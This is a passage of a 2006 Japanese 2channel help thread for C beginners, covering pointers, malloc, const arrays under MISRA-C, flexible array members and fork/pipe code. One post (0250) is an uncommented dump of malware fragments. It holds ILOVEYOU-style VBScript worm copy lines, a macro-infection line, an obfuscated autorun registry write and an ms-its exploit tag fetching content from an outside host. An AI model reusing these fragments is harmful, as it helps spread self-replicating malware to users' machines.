2006/07/13(木) 17:26:35大掛かりな開発環境の方が良いとしか言えない奴。
それと、VC+2005EEを宣伝したがっているのは誰だよ?w
0185デフォルトの名無しさん
2006/07/13(木) 17:28:51つーか、喪前様方スレ違いですよっと。
0186デフォルトの名無しさん
2006/07/13(木) 17:30:04誰もむかないとは言っていないが?ここって自分の気に入らないレスを
悪いようにしか解釈できない頭の固いというか固定概念しか持っていない
汎用性の無い香具師が多いんだなw
おめーらの発想力は貧弱すぎ、プログラマに向いてないよw
0187デフォルトの名無しさん
2006/07/13(木) 17:30:42>180は糞みたいなシェアウェアをけなしているだけだから。
0188デフォルトの名無しさん
2006/07/13(木) 17:33:10素朴な疑問なんだが、>176が仮に「VC++がむかない」とは言ってないのだとしたら
なんでまた>176は糞みたいなシェアウェアなんか紹介しているんだ?
そんなに小遣い稼ぎがしたいのか?
#いや、生活かかって必死なのかも知らんが。
0189デフォルトの名無しさん
2006/07/13(木) 17:34:50手軽さを考慮したら、BCCはまだまだ使えるよ。
そういう俺はVC++2005ExpressEditionとBCCの両方を使って
アルゴリズムの勉強程度ならBCC、WindowsアプリならVC++と使い分けているし。
VC++なら単純なソースを書くにも使えるけど、開発環境の仕様を理解していない
初心者に果たして向くだろうか?ってところまでは考えてないんだろうけどさ。
お勧めするくらいなら、参考になる本くらい紹介してやれば?
0190デフォルトの名無しさん
2006/07/13(木) 17:35:44> 糞みたいなシェアウェア
え?
> Borland? C++Compiler 5.5無償ダウンロード
って文字が見えませんでしたか・・・?
0191デフォルトの名無しさん
2006/07/13(木) 17:37:58>176のリンク2個目
--
CPad for Borland C++Compiler
Borland C++Compiler用のC/C++開発環境(送金義務なしのシェアウェア)
--------------------------------------------------------------------------------
動作OS:Windows2000 Windows98 Windows95 WindowsNT
動作機種:汎用
ソフトの種類:シェアウェア 1,575円
0192デフォルトの名無しさん
2006/07/13(木) 17:39:470193デフォルトの名無しさん
2006/07/13(木) 17:49:03まぁ、句点を使ってないレスを見れば一目瞭然なんだけど。
0194デフォルトの名無しさん
2006/07/13(木) 17:56:210195デフォルトの名無しさん
2006/07/13(木) 18:12:08取り敢えず取っ掛かりとしてはこの辺から。
ttp://www.sra.co.jp/people/miyata/algorithm/multprec.txt
後は自分でぐぐってみてくれ。
0196デフォルトの名無しさん
2006/07/13(木) 19:09:210197デフォルトの名無しさん
2006/07/13(木) 19:36:29> 送金義務なし
屁理屈うざ杉、フリーで使えることには変わりはなし。開発者は任意でって言っているし。
そもそもそれはエディタであって、使わなくても問題なし。コンパイラにおいてはフリーだろ。
そういう性格じゃプログラマに向いていないから、悪いことは言わないからやめとけ。
お前、プログラマだけでなく人生も失敗するぞ。
0198デフォルトの名無しさん
2006/07/13(木) 20:10:59{
int i;
int data[10];
for(i=0;i<10;i++){
data[i]=i;
}
}
こうした場合に例えばdata[-1]やdata[13]などを表示すると、どういう値がでてくるのでしょうか?
実際に試すと、よくわからない数字が出てきて、これが一体何を表すのかわかりません・・
0199デフォルトの名無しさん
2006/07/13(木) 20:13:16そういうこと。よくわからない数値が出るというのも、もっとも起こりそうな挙動の1つ。
0200デフォルトの名無しさん
2006/07/13(木) 20:42:30まぁお前の方がウザいんだが
0201デフォルトの名無しさん
2006/07/13(木) 21:50:440xff,0xab,0x12
と入力したときにそれぞれ別の文字列に格納したいんですが、
どういう風に記述すればいいんでしょうか?
0202デフォルトの名無しさん
2006/07/13(木) 22:22:28いつまでやってんの?明らかに、BCCを否定しただけの奴の方がうざい。
BCCを勧めた奴はVC++は否定していないし。
0203デフォルトの名無しさん
2006/07/13(木) 22:25:13お前もいつまでやってんだよ
0204デフォルトの名無しさん
2006/07/13(木) 22:25:42極めつけが >>191 >>193 < シェアウェアの意味を理解していない無知
0205デフォルトの名無しさん
2006/07/13(木) 22:26:22お前もいつまでやってんだよ?お前に命令されたくない。何お前?ここの主?
だとしても2ちゃんねるじゃお前の勝手な意見は拘束力がないから無駄だけどね(プ
0206デフォルトの名無しさん
2006/07/13(木) 22:42:260207デフォルトの名無しさん
2006/07/13(木) 22:47:31お前は宿題スレから出るんじゃない。
0208デフォルトの名無しさん
2006/07/13(木) 22:51:420209デフォルトの名無しさん
2006/07/13(木) 23:57:590210デフォルトの名無しさん
2006/07/14(金) 00:16:13int hoge[2] = {1, 2};
extern hoge[2];
を一文で書く何かいい方法はありませんか?
配列でなければ
#ifdef GLOBAL_DEFINE
#define EXTERN
#define GLOBAL_INIT(x) = x
#else
#define EXTERN extern
#define GLOBAL_INIT(x)
#else
EXTERN int hoge GLOBAL_INIT(1);
とかでいいんですが。。。
0211デフォルトの名無しさん
2006/07/14(金) 00:18:55そんな無理にCとそりのあわない考え方をやろうなんてことは、よしておいた方がいいよ。
0212デフォルトの名無しさん
2006/07/14(金) 00:19:56じゃダメ?
#そのマクロの存在自体の問題は兎も角。
0213デフォルトの名無しさん
2006/07/14(金) 00:23:07規模が小さけりゃ、そんな変なマクロ使うまでもない。
0214デフォルトの名無しさん
2006/07/14(金) 00:30:33ムリしてプログラムしなくてもいいと思うよ
0215デフォルトの名無しさん
2006/07/14(金) 00:33:00環境はVC6.0です。
>>212の方法はエラーで弾かれました。
すこし状況を公開すると、
#ifdef GLOBAL_DEFINE
int hoge[3] = {1, 2, 3};
#else
extern int hoge[3];
#endif
こんなグローバル変数が大量にある。
ヘッダに書いてるので、ソース側の変更作業が発生しないような修正を施したい、というわけです。
0216デフォルトの名無しさん
2006/07/14(金) 00:52:330217216
2006/07/14(金) 00:55:030218デフォルトの名無しさん
2006/07/14(金) 01:04:31確信をつかれました、結論から言うと、無いです。
過去から受け継いで受け継いでで半ば枯れたコードになりつつあるため、
触らないのが無難なのは分かってるんですが、
何か方法があるかなと思い質問してみたというわけです。
>>213
確かにそのとおりでしょう、そのうちコード整理をしてみたいと思います。
結論は出ました、有難うございました。
0219デフォルトの名無しさん
2006/07/14(金) 01:41:49いまいち意味がつかめんが、
#include"stdafx.h"
#include<stdio.h>
#include<string.h>
#include<malloc.h>
int main(void) {
char str[3][256];
int i, j;
for (i = 0; i < 3 ; i++) {
for (j = 0; j < 256 && str[i][j] != '\n'; j++) {
str[i][j] = getchar();
if (str[i][j] == ',' || str[i][j] == '\n') {
str[i][j] = '\0';
break;
}
}
}
for (i = 0; i < 3; i++) {
puts(str[i]);
}
return 0;
}
こんなんじゃ、だめかな。あまりいいプログラムじゃないが。
0220デフォルトの名無しさん
2006/07/14(金) 01:45:11以外のヘッダはいらないです・・・(消し忘れ)
0221デフォルトの名無しさん
2006/07/14(金) 02:08:40それはお前。お前が宿題スレから出るんじゃない。キチガイが多いなぁ、ここは、ったく。
0222デフォルトの名無しさん
2006/07/14(金) 03:42:09#include<stdlib.h>
#include<time.h>
struct card {
int face;
char *suit;
};
typedef struct card Card;
void fillDeck(Card *,int [],char *[]);
void shuffle(Card *);
main()
{
Card deck[40];
int face[] = {1,2,3,4,5,6,7,8,9,10};
char *suit[] = {"hart","daiya","kurab","superd"};
srand(time(NULL));
fillDeck(deck, face, suit);
shuffle(deck);
printf("baeojunnbisimasu");
return 0;
}
0223デフォルトの名無しさん
2006/07/14(金) 03:44:39{
int i;
for (i = 0;i <= 39;i++){
wDeck[i].face = wFace[i % 10];
wDeck[i].suit = wSuit[i / 10];
}
}
void shuffle(Card *wDeck)
{
int i,j;
Card temp;
for (i = 0;i <= 39;i++ ){
j = rand() % 40;
temp = wDeck[i];
wDeck[i] = wDeck[j];
wDeck[j] = temp;
}
}
ここからカードを5枚表示させてその数字の合計を表示する
プログラムにしたいのですが
どなたか教えていただけないでしょうか
よろしくおねがいします
0224デフォルトの名無しさん
2006/07/14(金) 07:33:130225デフォルトの名無しさん
2006/07/14(金) 09:51:42レス遅れました。
アドバイスありがとうございます!
昨日はエディターっていうのをゲットしましたよ♪
0226デフォルトの名無しさん
2006/07/14(金) 11:40:05釣りじゃないなら頼むから初心者スレに行ってくれ。
0227デフォルトの名無しさん
2006/07/14(金) 12:02:04宿題は宿題スレへどうぞ
0228デフォルトの名無しさん
2006/07/14(金) 13:28:05http URLからabsoluteURIからホストとポートを取得したいのですけど、
0229デフォルトの名無しさん
2006/07/14(金) 16:49:00そうか
おれは昨日, Max OSXをインスコしたVMwareの仮想マシンをtorrentにてゲットしましたよ
0230デフォルトの名無しさん
2006/07/14(金) 18:45:25できればprintfとか以降でポインタぐらいから解説してくれてるのがいいです
0231デフォルトの名無しさん
2006/07/14(金) 19:39:54ポインタからプログラミング始めるなんて猛者だな。
普通の入門書で問題ないと思う。
本屋に行って自分が一番読みやすいのを選ぶべし。
私的にはインターネットのウェブサイトにある解説でも、入り口としてはいいと思う。
0232デフォルトの名無しさん
2006/07/14(金) 19:44:19ポインタまではどうにか理解できたんで
明日にでも本屋いってきます
0233デフォルトの名無しさん
2006/07/14(金) 20:01:340234デフォルトの名無しさん
2006/07/14(金) 21:37:17オレはK&Rを一通りやったあとに
自分でviクローンを作ってみた
その後, Win32とGTK+でGUIをつけたり
2バイト文字対応とか
いろいろ機能を加えたりして
勉強したよ
やっぱり実践が一番じゃない?
0235デフォルトの名無しさん
2006/07/14(金) 21:44:290236デフォルトの名無しさん
2006/07/14(金) 23:29:23int*,int*,
int*,int*,int*,int*,BOOL);
void SetPoint(int **num,int cps,int *numB,int way,int uWay,int *movX,int *movY,
int *sotoMaxX,int *sotoMaxY,
int *yobiX,int *yobiY,int *pntX,int *pntY,BOOL bl) {
SetPoint(&num, 3, numB, 0, 3, &movX, &movY,
sotoMaxX, sotoMaxY,
&yobiX, &yobiY, &pntX, &pntY, TRUE);
エラー E2034 D:\MyProg\game2\game7\game7.cpp 325: 'int ( *)[4]' 型は 'int * *' 型に変換できない(関数 __stdcall WndProc(HWND__ *,unsigned int,unsigned int,long) )
エラー E2342 D:\MyProg\game2\game7\game7.cpp 325: パラメータ 'num' は int * * 型として定義されているので int ( *)[4] は渡せない(関数 __stdcall WndProc(HWND__ *,unsigned int,unsigned int,long) )
ポインタのポインタとか指定したらわけわからんようになってしまいました。
どうすればいいですか?
0237デフォルトの名無しさん
2006/07/14(金) 23:33:540238デフォルトの名無しさん
2006/07/14(金) 23:35:47int **pnum;
pnum = #
SetPoint(&pnum, 3, numB, 0, 3, &movX, &movY,
sotoMaxX, sotoMaxY,
&yobiX, &yobiY, &pntX, &pntY, TRUE);
0239238
2006/07/14(金) 23:37:36×int **pnum;
○int *pnum;
0240デフォルトの名無しさん
2006/07/14(金) 23:39:040241デフォルトの名無しさん
2006/07/14(金) 23:51:54ありがとうございます。
けど肝心な事言い忘れました。num、numBは配列です。
SetPoint内のnumが多すぎて書き直せない状況なので、
ポインタを利用して打破できないかと思いましたが。
>>238
エラった。よく分かりません。ごめんなさい。
'int ( *)[4]' 型は 'int *' 型に変換できない
>>240
キャストってどうやってですか?
0242デフォルトの名無しさん
2006/07/14(金) 23:54:250243デフォルトの名無しさん
2006/07/14(金) 23:59:18> けど肝心な事言い忘れました。num、numBは配列です。
型についてのエラーなのに、変数の型を明記してくれないで何をどうさせようってんだ?
配列です、だけじゃ全然わからん
0244デフォルトの名無しさん
2006/07/15(土) 00:07:25static int num[4] , numB[4];
一応int型なんですが、
引数ひとつひとつ説明するより
もう一つダミーの関数を呼び出してみたらこっちはエラー出ませんでした。
void SetPoint2(int **num) {
*num[0] = 0;
return;
}
よく分かりません。すみません。
0245238
2006/07/15(土) 00:19:33>num、numBは配列です。
それを先に言ってくれ。それなら
int *pnum;
pnum = num;
SetPoint(&pnum, 3, numB, 0, 3, &movX, &movY, ....
念のため聞くけどsotoMaxX, sotoMaxYも配列だよね。あと拡張子cppになってるけど
C のつもりで答えていいの? C++は知らない。
0246デフォルトの名無しさん
2006/07/15(土) 00:26:20ありがとうございます!
テンパってて諦めかけていました。
そうです。sotoMaxX, sotoMaxYも配列です。
説明不足すみませんでした。
C++の意味は多分ないんでしょうけど、念のためそうしてます。
まだ未熟者で掟破りなコードですみません。
0247デフォルトの名無しさん
2006/07/15(土) 02:06:35いや, K&Rだけを読んだだけでぱぱっとviクローンを作ったわけじゃなくて
かなり試行錯誤したよ
GUIつけた後, Small Cのインタプリタを組み込んで
今でも改良しながら使ってるよ
0248デフォルトの名無しさん
2006/07/15(土) 12:37:57>>245さんの通りにやってみたのですが、
関数内で*num[1],[2]を使ったらフリーズしてしまいました。[0],[3]はいいんですが、
はじめに0を代入したはずなのに、しかも[0],[3]の中身は乱れています。
たぶんnumがローカルになっているせいだと思うんですが、
ポインタだだけでなくnum配列自体を関数に受け渡す方法はないでしょうか?
0249デフォルトの名無しさん
2006/07/15(土) 12:41:38スミマセン。
0250デフォルトの名無しさん
2006/07/15(土) 14:00:40If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
0251デフォルトの名無しさん
2006/07/15(土) 15:07:30>関数内で*num[1],[2]を使ったら
関数内でのアクセスは *num[1]じゃなく (*num)[1] でしょ。
その関数でint**を使う必要が本当にあるの?
無理して2重ポインタなど使わず設計を見直すことをお勧めする。いやマジで。
0252デフォルトの名無しさん
2006/07/15(土) 15:11:32本当に見苦しくて読む気にもならん。
まずC FAQ読め。
「6章 配列とポインター」
ttp://www.kouno.jp/home/c_faq/c6.html#0
0253デフォルトの名無しさん
2006/07/15(土) 15:50:18C言語では、二次元配列を関数に渡すことはできません。
0254デフォルトの名無しさん
2006/07/15(土) 15:51:550255デフォルトの名無しさん
2006/07/15(土) 15:54:020256デフォルトの名無しさん
2006/07/15(土) 15:57:06怪しげな引数が必要なのかは、確かにに聞いてみたい気がするな。
0257デフォルトの名無しさん
2006/07/15(土) 22:20:17できるだけ小さくて薄いので
0258デフォルトの名無しさん
2006/07/15(土) 22:37:38ないな。作ってもいいが、表紙と裏表紙だけで本文がないがな。
0259デフォルトの名無しさん
2006/07/15(土) 22:40:50>>1QBB
0260デフォルトの名無しさん
2006/07/15(土) 22:47:21と怒られてしまいました。
//sort
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include <windows.h>
#include <mmsystem.h>
#define N 10000
こいつのどこかに問題があるか、C以外の問題だと思うのですが、どうすればいいでしょうか。
処理時間を計測しようと悩んでいるのですが・・・。
0261デフォルトの名無しさん
2006/07/16(日) 00:27:45スレ違い。BCCスレか環境依存OKスレ、初心者スレにでもどうぞ。
0262デフォルトの名無しさん
2006/07/16(日) 01:03:08char buf[100];
strlen(buf) と、sizeof(buf) って何か違いがあるのですか?
「文字列のバイト数を数えるのにstrlen使うな」と言われたのですが……
0263デフォルトの名無しさん
2006/07/16(日) 01:09:16strlen()は、ヌル文字で終わっている文字列の長さを調べる関数。
sizeofは、変数や型の大きさを調べる演算子。
sizeof bufはいつでも100だが、strlen()は、中に入っている文字列によって変わる。
どのような開発環境で、どのような文脈でstrlen()を使うなと言われた
のかはわからんが、ヌル文字で終わっている文字列の長さを調べる
のにstrlen()を使うのは、ごく普通のこと。
0264デフォルトの名無しさん
2006/07/16(日) 01:22:03逆にいうとヌル文字で終わっていない場合は暴走する。
0265デフォルトの名無しさん
2006/07/16(日) 02:18:48ANSIじゃないかもしれないけど……。
0266デフォルトの名無しさん
2006/07/16(日) 10:38:510267デフォルトの名無しさん
2006/07/16(日) 10:50:320268デフォルトの名無しさん
2006/07/16(日) 12:29:47余裕である。つか、どうやってターミネートすると思ってるんだ?
0269268
2006/07/16(日) 12:30:250270262
2006/07/16(日) 12:52:43実は、char buf[100]中にはバイナリデータが入る場合もある事を
書いていませんでした……
この場合、\0で抜けてしまうstrlen()じゃダメですよね。
おそらくそのミスを指摘されたんだと思います。
でも>>263さんの解説を見ると、sizeof()もダメな気が……
0271デフォルトの名無しさん
2006/07/16(日) 13:00:40うん、全く駄目。
バイナリデータを扱うときには、そのデータをセットした人(関数)が、
データサイズを戻す必要がある。
普通は関数の戻り値でサイズを戻したり、アウトパラメータで戻したりする。
そうしないと、なにかの関数を呼んでそのバッファにデータがセットされても、
外部から何バイトセットしたのかはわからない。
0272デフォルトの名無しさん
2006/07/16(日) 15:53:07mainルーチン内でmallocを使う場合は、
int main()
{
0273デフォルトの名無しさん
2006/07/16(日) 15:58:11int main()
{
int *x;
x = (int *)malloc(sizeof(int) * 10);
free(x);
}
みたいな感じで使うと思うのですが、メインルーチン内で宣伝したポインタ型変数xを
サブルーチンに渡して、領域を確保する事はできるのでしょうか?
void sub(int *x)
{
x = (int *)malloc(sizeof(int) * 10);
}
このようなサブルーチンを作って、メインルーチンでxに代入するとエラーが出てしまいます。
これの理由と、解決法を教えてください。
よろしくお願いします。
0274デフォルトの名無しさん
2006/07/16(日) 16:18:31{
return (int *)malloc(sizeof(int) * 10);
}
x = sub();
もしくは
void sub(int **x)
{
*x = (int *)malloc(sizeof(int) * 10);
}
sub(&x);
0275デフォルトの名無しさん
2006/07/16(日) 16:27:04おお!出来ました!!
ポインタって難しいですね・・・もっと勉強します!
レスありがとうございましたm(_ _)m
0276デフォルトの名無しさん
2006/07/16(日) 17:40:39何故そうなるのかちゃんと理解したか?
0277デフォルトの名無しさん
2006/07/16(日) 17:58:400278デフォルトの名無しさん
2006/07/16(日) 19:52:350279デフォルトの名無しさん
2006/07/16(日) 20:58:27American National Standard Institute
米国規格協会
標準Cは最初にここで規格化されたので、それを指してANSI Cというわけだ。
0280デフォルトの名無しさん
2006/07/16(日) 21:04:16なるほど。って、何かとアメリカ基準ですな・・・
0281デフォルトの名無しさん
2006/07/16(日) 21:45:30アメリカ製の言語なんで当然では?
0282デフォルトの名無しさん
2006/07/16(日) 22:05:16それをISOが取り込んだんだから当然
0283デフォルトの名無しさん
2006/07/17(月) 04:22:56void func(const int *a){ printf("a=%d\n",*a);}
int main(void){
int a=10;
func(a); return 0;
}
のように、呼び出し元のポインタの内容を変えないことを補償するために、
constを付けることはよくやりますよね?
同じことを、ポインタのポインタを引数に持つ関数でやるには、
どうすればいいのでしょう?
const int *a;
int *b;
なa,bに対して、a=b;は、問題なく出来るのですが、
const int **a;
int **b;
に対しては、a=b;は、コンパイラがエラーを吐きます。
const int **a;
が、(const intへのポインタ)へのポインタだから、って理由は分かるのですが、その解決策が分かりません。
よろしくお願いいたします。
0284デフォルトの名無しさん
2006/07/17(月) 04:33:54const int* const* a; にするとか const int** b にするとか、いくらでもあるんじゃないの?
何がしたいのかわからんのでどれが解決策になるのかわからんが。
0285デフォルトの名無しさん
2006/07/17(月) 04:48:15void func(int (*a)[10]){
/* aは、参照するだけ */
}
int main(void){
int a[10][10];
func(a);
}
これを、
void func(const int (*a)[10]){}
のようにしたいのですが、ANSI-Cでは許してくれないようなのです。
0286デフォルトの名無しさん
2006/07/17(月) 05:05:28それは難しい問題だったような気がする。
C++ では int const a[][10] で通るみたい。
C だとそもそもポインターの型違いがエラーにならなかったような
覚えがあるんだが、なんてエラーメッセージが出るの?警告?
0287285
2006/07/17(月) 05:14:40warning: passing arg 1 of `func' from incompatible pointer type
で、警告です。
動作に問題は出ないだろうとは思うのですが、この警告何とか、
出来ませんかね?
0288デフォルトの名無しさん
2006/07/17(月) 05:27:54これじゃ関数ポインタだし
0290デフォルトの名無しさん
2006/07/17(月) 05:37:01アホ。
>>287
呼び出し側をcastしてやればwarningは消せるが・・・。
void func(const int (*a)[10]) {}
main() {
func((const int (*)[10])a);
}
0291285
2006/07/17(月) 05:51:45有難うございます。
確かに、それでWarningは消せるのですが、ポインタのキャストなしでやりたいのです。
というものも、MISRA-Cという組込み世界のコーディング規約のようなものがあるのですが、
その中で、
・ポインタのキャストは駄目
・ポインタ演算は、+1(−1)するもの以外、使っちゃ駄目
・ポインタを引数にする関数で、ポインタが指す元の領域を書き換えないなら、constをつけろ。
というようなルールがあります。
何とか、これに沿ったものを作りたいと思ってます。
ただ、もしかしたら、int(*)[10]から、const int(*)[10]へのキャストは、例外として
認められるのかもしれませんね。
また、調べてみてから、報告したいと思います。
0292デフォルトの名無しさん
2006/07/17(月) 06:27:160293285
2006/07/17(月) 06:36:57???
ポインタのキャストとプロトタイプ宣言が関係ありますか?
それとも例に挙げたコードが、プロトタイプ宣言していないから、
アホウ呼ばわりされてるんですかね?
>>290
MISRA-C対応のあるソースコードの静的解析ツールにかけたところ、
やっぱり駄目でした。2次元配列をあきらめた方がいいのかな。。。
0294デフォルトの名無しさん
2006/07/17(月) 09:17:53よくわからないときにはtypedefするが吉。
typedef int hoge[10];
void func(const hoge *a);
int main(void){
int a[10][10];
func(a);
}
0295デフォルトの名無しさん
2006/07/17(月) 10:04:59同じwarningです。gcc3.4.2(MinGW) Cモード(gcc.exe)
C:\Documents and Settings\****\My Documents\MinGW\Learn5\intconst2.c: In function `main':
C:\Documents and Settings\****\My Documents\MinGW\Learn5\intconst2.c:11: warning: passing arg 1 of `func' from incompatible pointer type
結局Cでは警告を防げないのか。
0296デフォルトの名無しさん
2006/07/17(月) 10:08:230297デフォルトの名無しさん
2006/07/17(月) 10:45:10ansi規格で認められていない。」と言うのがgcc の中の人の考えらしいです。
ttp://gcc.gnu.org/bugzilla/show_bug.cgi?id=9070
gccの警告を無視するってのは駄目ですか?
・・・駄目でしょうね(^^;
0298デフォルトの名無しさん
2006/07/17(月) 10:51:31俺個人の意見だけど、理由がわかっていて危険ではない事も調査済みなら
ワーニングを放置するのはありだと思うが、素直にキャストしたほうが
無駄にエネルギー使わなくてすっきりすると思う。
0299272
2006/07/17(月) 13:02:57レス遅れてすいません。
動いたけど、理解は出来なかったのでいろいろ試行錯誤してたいだい理解したので、
今度は、ポインタのポインタ(2次元配列もどき)の領域を確保しようと試みているのですが、
はやり、理解が浅いせいかうまくできません。
void sub(int ***x)
{
int i, j;
*x = (int **)malloc(sizeof(int) * 10);
for(i=0;i<10;i++)
*x[i] = (int *)malloc(sizeof(int) * 3);
for (i=0;i<10;i++) {
for(j=0;j<3;j++) {
*x[i][j] = i*j;
}
}
}
int main()
{
int **x;
sub(&x);
// 表示処理x[][];
}
今の自分の知識では上のような感じなんですが、エラーがでてしまいます。
よろしくお願いしますm(_ _)m
0300デフォルトの名無しさん
2006/07/17(月) 13:08:39たぶんこうだと思う。
void sub(int ***x)
{
int i, j;
int y = 10, x = 3;
*x = (int **)malloc(sizeof (int*) * y);
for(i=0;i<10;i++)
(*x)[i] = (int *)malloc(sizeof (int) * x);
for (i=0;i<y;i++) {
for(j=0;j<x;j++) {
(*x)[i][j] = i*j;
}
}
}
0301デフォルトの名無しさん
2006/07/17(月) 13:13:36おいおい「たぶん」で書かないでくれよ。
必死こいてテストコード書いてたんだからさOTL
合ってるんだけどね。
今回は*と[]の優先順位の問題だね。
0302デフォルトの名無しさん
2006/07/17(月) 13:16:25>>1
> エラー(警告含む)が起きたのならばエラーメッセージを書きましょう。
0303299
2006/07/17(月) 13:21:15ありがとうございますm(_ _)m
仰る通り優先順位の問題だったみたいです。
初歩的な所からやり直さないとだめみたいですね・・
それにしても、この住人の方々は凄いです
自分はこのプログラムで数時間悩んだというのに、数分で解決してしまうなんて。
尊敬しますm(_ _)m
>>302
すいません。以後気を付けます。
今回のは、OSのエラー?(問題が発生したため〜)だったのでエラーと書いただけで省いてしまいました。
0304デフォルトの名無しさん
2006/07/17(月) 13:25:44C99 の規格読んだが gcc の解釈は正しい。もしくは規格の規定が悪い。
gcc 使えるんなら C++ でコンパイルしちゃえばいいんじゃないかな?
0305285
2006/07/17(月) 13:45:23MISRA-Cも、明確な理由をつけることによる、ルールの逸脱は
認めているので、
「int (*a)[] から const int (*a)[] への(キャスト無しでの)変換は
ansi規格で認められていない。」
という理由により、キャスト(もしくはWarningを無視)で、
大丈夫だと思います。
もしかして、私が知らないだけで、何らかの手があるかもと思い、
質問させて頂きました。
有難うございました。
0306デフォルトの名無しさん
2006/07/17(月) 20:22:24gccのエラーメッセージの日本語化をしたいのですが、
出力されたエラーメッセージから日本語に変換するためには
どうすれば良いのでしょうか。
お願いします。
0307デフォルトの名無しさん
2006/07/17(月) 20:32:04環境変数LANGなど。詳しくはgccのスレで聞け。
0308デフォルトの名無しさん
2006/07/17(月) 20:40:32http://gcc.gnu.org/svn/gcc/trunk/gcc/po/ja.po
↑こいつをどんどん翻訳してくれればいいんだ。期待してるぞ。
0309デフォルトの名無しさん
2006/07/17(月) 22:14:320310デフォルトの名無しさん
2006/07/18(火) 21:13:11実行後に標準入力からコマンドを入力し、そのコマンドをgetcl関数でスペース毎に
argmv[0],argmv[1]...に格納し、exec_one_command関数で実行。
その中にパイプがあればパイプの処理をするという仕様です。
自分でやったところはexec_one_command内でgetclでできたコマンドからパイプを
見つけてそれをNULLに置き換え、パイプの数に応じてexecvpで実行していくという
ところです。 実行してもパイプの処理になった場合にエラー終了してしまいます。
どのようにすれば繋いでいくことができるのでしょうか?
他のスレ回ったのですが、スレ違いっぽい内容だったのでお願いします。
0311デフォルトの名無しさん
2006/07/18(火) 21:31:56struct hoge {
・・・
void *foo[0],
}
で、malloc(kmalloc)するときに sizeof(struct hoge) + foosize分をallocateして
サイズを自由に変動させるような実装がある。(メンバfooにfoosize分の領域が割り当たる)
こういうのはANSIで認められてる?
それともGCC拡張?
0312デフォルトの名無しさん
2006/07/18(火) 21:34:47C99で導入された。
でも元はgcc独自拡張だったような気がしなくも無い。
0313デフォルトの名無しさん
2006/07/18(火) 21:41:41昔のDOSでもあったというかやってた。でもvoid *foo[0]じゃなくchar *foo[1]だったな。
これで(可変長の)文字列の長さ分を足したサイズをアロケートすると'\0'の分も確保される。
0314デフォルトの名無しさん
2006/07/18(火) 21:43:03http://c-faq.com/struct/structhack.html
これ?
0315デフォルトの名無しさん
2006/07/18(火) 21:46:03これが出来るのは2つ以上のメンバを持っていて、
なおかつ最後のやつだけ。
hogeは配列には出来ない制限がある。
0316デフォルトの名無しさん
2006/07/18(火) 21:55:49�d
ちなみに、この場合メンバfooの型は何になる?
void *型?
0317デフォルトの名無しさん
2006/07/18(火) 22:40:14あのさあ、C/C++系のスレは巡回してる人がかなり重複してるから、
スレ変えても今のままだと回答来ないよ。
知りたいことを最小限のコードで書いてみて疑問点を質問するとか。
「全く分かりません」であるなら却下。
0318デフォルトの名無しさん
2006/07/18(火) 22:40:56アルファベット文字からなる文字列(31文字以内)を入力すると
全部大文字にして出力させる。
[例]入力 AbcDeFGHijk → 出力 ABCDEFGHIJK
#include<stdio.h>
main()
{
char moji[31];
int i=0, n=0, m=0;
scanf("%30s", moji);
while(moji[n]!='\0'){
if('a'<=moji[i] && moji[i]<='z'){
m=moji[i]-32;
}
else{m=moji[i];}m++;
i++;}
putchar(m);
}
0319デフォルトの名無しさん
2006/07/18(火) 22:46:36・ n はどこから来てどこへ行くのか
・ putchar が while の外に
・ m++ って?
0320デフォルトの名無しさん
2006/07/18(火) 22:46:55main()
{
char moji[31];
int i=0, n=0, m=0;
scanf("%30s", moji);
while(moji[n]!='\0'){
if('a'<=moji[i] && moji[i]<='z'){
/* m=moji[i]-32; */
m=moji[i]-'a'+'A';
}
else{
m=moji[i];
}
putchar(m);
/* m++; */
i++;
}
/* putchar(m); */
}
0321310
2006/07/18(火) 22:48:39for(i=0;i<cmdnum;i++){
if ((pid = fork()) == 0){
if(n-->1){
pipe(fd);
close(1);
dup(fd[1]);
close(fd[1]);
close(fd[0]);
}
if(i>0){
close(0);
dup(fd[0]);
close(fd[0]);
close(fd[1]);
}
if (execvp(argmv[pl[i]], argmv) == ERR) {
perror("execvp");
exit(1);
}
} else if (pid >= 1) {
wait(&status);
} else {
perror("fork");
exit(1);
}
}
具体的にはこの部分なのですが、cmdnumはパイプで区切られたコマンドの数で、plにはパイプの
場所が格納されています。このまま実行すると2つ目以降のコマンドが繋がらなくてエラーが起こって
しまうのですが、closeやdupなどのところでおかしいところなどが見つかりましたらお願いします。
0322デフォルトの名無しさん
2006/07/18(火) 22:49:08一応通るんですけど、
イマイチわからないんです……。
0323デフォルトの名無しさん
2006/07/18(火) 22:49:13whileのmoji[n]をmoji[i]に。
0324デフォルトの名無しさん
2006/07/18(火) 22:50:18アホ。
最小限のコードというのは「抜き出したコード」じゃなくて、コンパイル・実行
可能なコードのことを言うのだ。
0325デフォルトの名無しさん
2006/07/18(火) 22:53:03例えば一つ目のコマンドがlsで、二つ目のコマンドがgrepなどと決めうちして
